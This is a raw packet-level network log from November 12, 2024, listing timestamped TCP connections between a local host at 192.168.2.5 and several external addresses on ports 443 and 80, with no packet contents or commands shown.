Nov 12, 2024 04:16:34.289186001 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.324697971 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.324737072 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.324992895 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.325129032 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.325151920 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.325166941 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.325172901 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.329183102 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.329195023 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.329303026 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.329514980 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.329524040 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.390038013 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.390546083 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.390563011 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.391452074 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.391551018 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.392035961 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.392091990 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.392216921 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.392225981 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.392302990 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.392333031 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.551832914 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.561755896 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.561775923 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.562041044 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.562246084 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.562252998 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.602051020 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.602750063 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.602794886 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.602849007 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.667576075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:34.667639017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:34.750077009 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.750408888 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.750421047 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.750746012 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.751060009 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.751115084 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.751231909 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.751281023 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.751306057 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.751703978 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.751737118 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.760864973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:34.765631914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:34.836739063 CET	443	49882	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:34.837034941 CET	49882	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:34.837052107 CET	443	49882	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:34.837327957 CET	443	49882	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:34.837629080 CET	49882	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:34.837678909 CET	443	49882	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:34.907879114 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.911262035 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.911289930 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.912123919 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.912131071 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.921952009 CET	49882	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:35.015464067 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.016657114 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.016670942 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.017241001 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.017246008 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.035068989 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.035578966 CET	49884	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.035610914 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.036034107 CET	49884	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.036041021 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.038480997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:35.038492918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:35.038503885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:35.038551092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:35.038593054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:35.039103985 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.039429903 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.039505959 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.039737940 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.039753914 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.039983034 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.040004969 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.041399956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:35.043308020 CET	49887	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.043339968 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.043543100 CET	49887	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.043823004 CET	49887	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.043833017 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.044454098 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.046184063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:35.046608925 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.046619892 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.047451973 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.047456026 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.115865946 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.116449118 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.116635084 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.116666079 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.116884947 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.116902113 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.117775917 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.117866039 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.118155956 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.118216038 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.118382931 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.118393898 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.118429899 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.118454933 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.120085001 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.120101929 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.120131969 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.120141029 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.135859966 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.137023926 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.137058973 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.137502909 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.137509108 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.148427963 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.148591042 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.149122953 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.149240017 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.149252892 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.149266958 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.149271011 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.152200937 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.152225971 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.152394056 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.152566910 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.152575970 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.173341990 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.173382998 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.173938036 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.173974991 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.173974991 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.173984051 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.173990965 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.176604986 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.176629066 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.176815987 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.176973104 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.176984072 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.205627918 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.205976963 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.206047058 CET	49884	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.206114054 CET	49884	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.206144094 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.206156969 CET	49884	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.206162930 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.223444939 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.228070021 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.228090048 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.228163958 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.261430979 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.261445045 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.266597033 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.266812086 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.267132998 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.270601988 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.270642042 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.270659924 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.270667076 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.282504082 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.282519102 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.282596111 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.284178972 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.284185886 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.291044950 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.298403978 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.298480988 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.298649073 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.298666000 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.298708916 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.318278074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:35.318382025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:35.337088108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:35.341938019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:35.394004107 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.394279957 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.394293070 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.395236969 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.395309925 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.395612955 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.395653963 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.396250010 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.396255970 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.396294117 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.396347046 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.607333899 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.607398987 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.609827042 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.609853029 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.609997034 CET	443	49886	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:35.610017061 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.610059977 CET	49886	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:35.650573969 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.650595903 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.650633097 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.650670052 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.650686979 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.650717020 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.651283979 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.651294947 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.651334047 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.651416063 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.651443005 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.651506901 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.715250969 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.715293884 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.715466976 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.715671062 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:35.715692043 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:35.815932035 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.816984892 CET	49887	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.817004919 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.817533970 CET	49887	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.817538023 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.881707907 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.884416103 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.884433985 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.884916067 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.884919882 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.914421082 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.918385983 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.918412924 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.918867111 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.918872118 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.954050064 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.954129934 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.954201937 CET	49887	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.961415052 CET	49887	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.961431026 CET	443	49887	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.964859962 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.964895964 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.964961052 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.965195894 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.965209007 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.977449894 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.977926970 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.977953911 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:35.978451967 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:35.978456020 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.019125938 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.019184113 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.019231081 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.022398949 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.022908926 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.022922039 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.022947073 CET	49888	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.022952080 CET	443	49888	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.025413036 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.025438070 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.026299000 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.026304960 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.032325983 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.032368898 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.032423019 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.036370993 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.036405087 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.050753117 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.050827980 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.050878048 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.052246094 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.052246094 CET	49889	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.052259922 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.052268982 CET	443	49889	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.081171989 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.081212997 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.081280947 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.084211111 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.084224939 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.105590105 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.106314898 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.106375933 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.106507063 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.106518984 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.106530905 CET	49890	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.106535912 CET	443	49890	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.106645107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:36.106693029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:36.123330116 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.123366117 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.123447895 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.123872995 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.123887062 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.157445908 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.157543898 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.157596111 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.176140070 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.176155090 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.176163912 CET	49891	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.176168919 CET	443	49891	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.180319071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:36.185161114 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.185188055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:36.185201883 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.185280085 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.185961962 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.185975075 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.459635019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:36.459723949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:36.463937044 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:36.468924046 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:36.469021082 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:36.469280958 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:36.474025965 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:36.681528091 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:36.682375908 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:36.682429075 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:36.682496071 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:36.728991985 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.729552031 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.729568958 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.730180979 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.730185986 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.790191889 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:36.790772915 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:36.790790081 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:36.791652918 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:36.791652918 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:36.791663885 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:36.791680098 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:36.824286938 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.824975014 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.824994087 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.826370001 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.826375008 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.861159086 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.861265898 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.861449003 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.861491919 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.861491919 CET	49893	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.861509085 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.861517906 CET	443	49893	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.864389896 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.864427090 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.864640951 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.864748001 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.864758015 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.866117001 CET	443	49896	13.107.246.45	192.168.2.5
